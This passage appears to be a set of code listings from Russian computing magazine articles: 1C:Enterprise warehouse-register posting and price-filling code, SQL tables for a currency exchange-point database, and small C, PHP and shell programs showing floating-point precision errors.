Организация; Движение.Склад = ТекСтрокаТовары.СкладОтправитель; Движение.Количество = ТекСтрокаТовары.Количество; Движение.СуммаВзаиморасчетов = ТекСтрокаТовары.Сумма; КонецЦикла; // Регистр ТоварыНаСкладах Приход Движения.ТоварыНаСкладах.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаСкладах.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Приход; Движение.Период = Дата; Движение.Склад = ТекСтрокаТовары.СкладОтправитель; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Количество = ТекСтрокаТовары.Количество; КонецЦикла; // Регистр ТоварыНаСкладах Расход Движения.ТоварыНаСкладах.Очистить(); Для Каждого ТекСтрокаТовары Из Товары Цикл Движение = Движения.ТоварыНаСкладах.Добавить(); Движение.ВидДвижения = ВидДвиженияНакопления.Расход; Движение.Период = Дата; Движение.Склад = ТекСтрокаТовары.СкладОтправитель; Движение.Номенклатура = ТекСтрокаТовары.Номенклатура; Движение.ХарактеристикаНоменклатуры = ТекСтрокаТовары.ХарактеристикаНоменклатуры; Движение.СерияНоменклатуры = ТекСтрокаТовары.СерияНоменклатуры; Движение.Количество = ТекСтрокаТовары.Количество; КонецЦикла; // Очищаем движения по регистру СвободныеОстатки // Заполнение будет автоматически выполнено на основании движения по регистру ТоварыНаСкладах Движения.СвободныеОстатки.Очистить(); КонецПроцедуры // ОбработкаПроведения Листинг 4. Заполнение цен по остаткам Процедура ЗаполнитьЦеныПоОстаткам(Кнопка) Запрос = Новый Запрос; Запрос.Текст = "ВЫБРАТЬ | ТоварыНаОтветственномХраненииОстаткиИОбороты.КоличествоКонечныйОстаток, | ТоварыНаОтветственномХраненииОстаткиИОбороты.СуммаВзаиморасчетовКонечныйОстаток |ИЗ | РегистрНакопления.ТоварыНаОтветственномХранении.ОстаткиИОбороты(&Дата,&Дата, , ,) КАК ТоварыНаОтветственномХраненииОстаткиИОбороты |ГДЕ | ТоварыНаОтветственномХраненииОстаткиИОбороты.Номенклатура = &Номенклатура | И ТоварыНаОтветственномХраненииОстаткиИОбороты.Характеристика Номенклатуры = &ХарактеристикаНоменклатуры | И ТоварыНаОтветственномХраненииОстаткиИОбороты.ДоговорКонтрагента = &ДоговорКонтрагента | И ТоварыНаОтветственномХраненииОстаткиИОбороты.Контрагент = &Контрагент | И ТоварыНаОтветственномХраненииОстаткиИОбороты.Склад = &Склад"; Для Каждого СтрокаТабличнойЧасти Из ЭтотОбъект.Товары Цикл Запрос.УстановитьПараметр("Дата", ЭтотОбъект.Дата); Запрос.УстановитьПараметр("ДоговорКонтрагента", ДоговорКонтрагента); Запрос.УстановитьПараметр("Контрагент", Контрагент); Запрос.УстановитьПараметр("Склад", Склад); Запрос.УстановитьПараметр("Номенклатура", СтрокаТабличнойЧасти.Номенклатура); Запрос.УстановитьПараметр("ХарактеристикаНоменклатуры", СтрокаТабличнойЧасти.ХарактеристикаНоменклатуры); СтрокаТабличнойЧасти.Цена = 0; Выборка = Запрос.Выполнить().Выбрать(); Пока Выборка.Следующий() Цикл Если (Выборка.КоличествоКонечныйОстаток>0) и (Выборка.СуммаВзаиморасчетовКонечныйОстаток>0) Тогда СтрокаТабличнойЧасти.Цена = Выборка.СуммаВзаиморасчетов КонечныйОстаток/Выборка.КоличествоКонечныйОстаток; Иначе СтрокаТабличнойЧасти.Цена = 0; КонецЕсли; КонецЦикла; РассчитатьСуммуТабЧасти(СтрокаТабличнойЧасти, ЭтотОбъект); РассчитатьСуммуНДСТабЧасти(СтрокаТабличнойЧасти, ЭтотОбъект); КонецЦикла; КонецПроцедуры ----------------------------------------------------------------------------------------------------------------- От слов – к делу. Как автоматизировать работу обменных пунктов Алексей Вторников CREATE TABLE Currencies ( id INTEGER, iso VARCHAR (3), scale INTEGER, description VARCHAR (32), PRIMARY KEY (id) ) CREATE TABLE ExchCB ( id INTEGER, dat DATE, exchange NUMERIC (15, 4), PRIMARY KEY (id, dat) ) CREATE TABLE ExchPoint ( id INTEGER, dat DATE, tim TIME, sell NUMERIC (15, 4), buy NUMERIC (15, 4), PRIMARY KEY (id, dat, tim) ) ----------------------------------------------------------------------------------------------------------------- Представление чисел в памяти ЭВМ. Ошибка «Циклическая дыра». Часть 3 Павел Закляков $ cat 123456789_example.c #include int main (void) { float a,b,f; a=123456789; b=123456788; f=a-b; printf ("a-b=%f\n",f); } $ gcc 123456789_example.c &&./a.out $ cat 123456789_example2.php $ php 123456789_example2.php $ cat 123456789_int_example.c #include int main (void) { int a,b,f; a=123456789; b=123456788; f=a-b; printf ("a-b=%d\n",f); } $ gcc 123456789_int_example.c &&./a.out $ cat 123456789_example.sh #!/bin/bash a=123456789 b=123456788 let f=$a-$b echo "a-b=$f" $ sh 123456789_example.sh $ gcc float_representation.c &&./a.out 123456789 $ g++ bits_to_float.c && ./a.out 0 10011001 11010110111100110100011 $ cat Lavrenov\'s_example.c #include int main (void) { float a,b,c,d,e,f; a=95; b=0.1; c=((a+b)*(a+b)-(a*a+2*a*b))/(b*b); printf ("Результат вычислений: %f\n",c); } $ gcc Lavrenov\'s_example.c && ./a.out $ gcc float_representation.c && ./a.out 131071.9921875 $ cat model.c #include int main (void) { float a=0.00001; //вес таблетки в кг float c; // продукции в бункере в кг c = 300; //исходный вес продукции в бункере for (; c>0 ;) { c = c - a ; // забрали одну таблетку из бункера printf ("изменённый вес бункера %f\n",c); } return 0; } $ gcc model.c && ./a.out $ cat model2.c #include int main (void) { float a=0.00001; //вес таблетки в кг float c; // продукции в бункере в кг long int i; // счётчик циклов c = 300; //исходный вес продукции в бункере for (i=1; c>0 && i<=100000;i++) { c = c - a ; // забрали одну таблетку из бункера printf ("шаг %d, изменённый вес бункера %f\n",i,c); } return 0; } -----------------------------------------------------------------------------------------------------------------